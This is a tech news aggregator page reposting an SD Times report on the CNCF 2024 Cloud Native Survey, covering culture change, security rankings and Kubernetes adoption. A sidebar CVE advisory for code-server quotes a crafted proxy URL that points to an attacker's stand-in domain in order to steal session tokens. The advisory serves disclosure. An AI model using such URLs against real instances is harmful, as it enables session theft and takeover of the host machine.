Close Menu
    DevStackTipsDevStackTips
    • Home
    • News & Updates
      1. Tech & Work
      2. View All

      Sunshine And March Vibes (2025 Wallpapers Edition)

      May 17, 2025

      The Case For Minimal WordPress Setups: A Contrarian View On Theme Frameworks

      May 17, 2025

      How To Fix Largest Contentful Paint Issues With Subpart Analysis

      May 17, 2025

      How To Prevent WordPress SQL Injection Attacks

      May 17, 2025

      Microsoft’s allegiance isn’t to OpenAI’s pricey models — Satya Nadella’s focus is selling any AI customers want for maximum profits

      May 17, 2025

      If you think you can do better than Xbox or PlayStation in the Console Wars, you may just want to try out this card game

      May 17, 2025

      Surviving a 10 year stint in dev hell, this retro-styled hack n’ slash has finally arrived on Xbox

      May 17, 2025

      Save $400 on the best Samsung TVs, laptops, tablets, and more when you sign up for Verizon 5G Home or Home Internet

      May 17, 2025
    • Development
      1. Algorithms & Data Structures
      2. Artificial Intelligence
      3. Back-End Development
      4. Databases
      5. Front-End Development
      6. Libraries & Frameworks
      7. Machine Learning
      8. Security
      9. Software Engineering
      10. Tools & IDEs
      11. Web Design
      12. Web Development
      13. Web Security
      14. Programming Languages
        • PHP
        • JavaScript
      Featured

      NodeSource N|Solid Runtime Release – May 2025: Performance, Stability & the Final Update for v18

      May 17, 2025
      Recent

      NodeSource N|Solid Runtime Release – May 2025: Performance, Stability & the Final Update for v18

      May 17, 2025

      Big Changes at Meteor Software: Our Next Chapter

      May 17, 2025

      Apps in Generative AI – Transforming the Digital Experience

      May 17, 2025
    • Operating Systems
      1. Windows
      2. Linux
      3. macOS
      Featured

      Microsoft’s allegiance isn’t to OpenAI’s pricey models — Satya Nadella’s focus is selling any AI customers want for maximum profits

      May 17, 2025
      Recent

      Microsoft’s allegiance isn’t to OpenAI’s pricey models — Satya Nadella’s focus is selling any AI customers want for maximum profits

      May 17, 2025

      If you think you can do better than Xbox or PlayStation in the Console Wars, you may just want to try out this card game

      May 17, 2025

      Surviving a 10 year stint in dev hell, this retro-styled hack n’ slash has finally arrived on Xbox

      May 17, 2025
    • Learning Resources
      • Books
      • Cheatsheets
      • Tutorials & Guides
    Home»Tech & Work»Report: Security is no longer the top challenge in cloud native environments

    Report: Security is no longer the top challenge in cloud native environments

    April 1, 2025

    Security used to be the biggest challenge companies implementing cloud native technologies faced, but according to a new report from the Cloud Native Computing Foundation (CNCF), that is no longer the case.

    The CNCF’s 2024 Cloud Native Survey, which surveyed 750 members of the CNCF community, revealed that cultural changes are now the top challenge, with 55% of respondents citing this as the number one issue.  

    “When cloud native computing was maturing, technical issues like security, networking, storage, and observability were major pain points. Today, though, more seasoned cloud native practices have helped make technical challenges more manageable, meaning organizations can focus their attention on culture and process shifts. Whether it’s a move to platform engineering or GitOps, or a transition from a monolithic architecture to a microservices one, these culture-change efforts are the logical, if tricky, next steps in the cloud native evolution, as the survey results reflect,” the CNCF wrote in the report.

    RELATED CONTENT: KubeCon + CloudNativeCon Europe Day 1: Argo CD v3 pre-release, Golden Kubestronaut program, Red Hat Developer Hub 1.5, and more

    The previous year’s survey results had security and complexity as the two biggest challenges, at 42% and 38% of respondents, respectively. Now, security is the fourth biggest challenge at 37% and complexity is at number six at 35%. 

    They found that 60% of organizations are now vetting open source projects for active communities and 57% are using automated tools to detect vulnerabilities, indicating that security measures are improving. 

    The second and third biggest challenges cited this year were CI/CD issues (40%, up from 25% in 2023) and lack of training (38%, up from 28% in 2023).

    Cloud native usage is at an all-time high

    The report also found that 89% of respondents had adopted cloud native technologies. Twenty-four percent said that all of their development and deployment were using cloud native technologies, up from 20% in 2023. 

    Additionally, 36% said that most of their development and deployment were with cloud native, and 28% said some of it was.

    The report also found that adoption was similar across all company sizes, indicating that all companies are seeing the benefits, not just the largest ones.

    How AI is being used with Kubernetes

    The report suggests that AI adoption in Kubernetes is still in its early days, with 48% of respondents saying they haven’t yet deployed AI workloads.

    Of those that are working with AI, they’re using Kubernetes for batch jobs (11%), model experimentation (10%), real-time model inference (10%), and data pre-processing (9%). 

    Other findings of the report

    The CNCF also found that:

    • 80% of organizations are using Kubernetes in production, compared to 66% in 2023
    • 60% of organizations are using CI/CD for most or all of their applications
    • 77% of organizations are using GitOps principles
    • Service mesh adoption declined from 50% in 2023 to 42% in 2024, mainly due to the associated overhead costs

    The post Report: Security is no longer the top challenge in cloud native environments appeared first on SD Times.

    Source: Read More 

    Hostinger
    news
    Facebook Twitter Reddit Email Copy Link
    Previous ArticleLucid PhaaS Hits 169 Targets in 88 Countries Using iMessage and RCS Smishing
    Next Article Tips for building top performer teams

    Related Posts

    Tech & Work

    Sunshine And March Vibes (2025 Wallpapers Edition)

    May 17, 2025
    Tech & Work

    The Case For Minimal WordPress Setups: A Contrarian View On Theme Frameworks

    May 17, 2025
    Leave A Reply Cancel Reply

    Continue Reading

    Hugging Face Releases LeRobot: An Open-Source Machine Learning (ML) Model Created for Robotics

    Development

    Maxicare Confirms Data Breach in Third-Party Booking Platform, Ensures Core Systems Unaffected

    Development

    The Global Epidemic of Crypto Scams: A Deep Dive into Pig Butchering and Huione Guarantee’s Role

    Development

    The best HDMI cables of 2025

    Development

    Highlights

    CVE-2025-47269 – Code-server Proxy Pathway Token Exfiltration

    May 9, 2025

    CVE ID : CVE-2025-47269

    Published : May 9, 2025, 9:15 p.m. | 2 hours, 37 minutes ago

    Description : code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https:///proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user’s session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker’s domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

    Severity: 8.3 | HIGH

    Visit the link for more details, such as CVSS details, affected products, timeline, and more…

    Unlocking Autonomous Planning in LLMs: How AoT+ Overcomes Hallucinations and Cognitive Load

    January 27, 2025

    ⚡ Weekly Recap: VPN Exploits, Oracle’s Silent Breach, ClickFix Comeback and More

    April 7, 2025

    How to share Apple Calendar events with your family from a Mac

    March 25, 2025
    © DevStackTips 2025. All rights reserved.
    • Contact
    • Privacy Policy

    Type above and press Enter to search. Press Esc to cancel.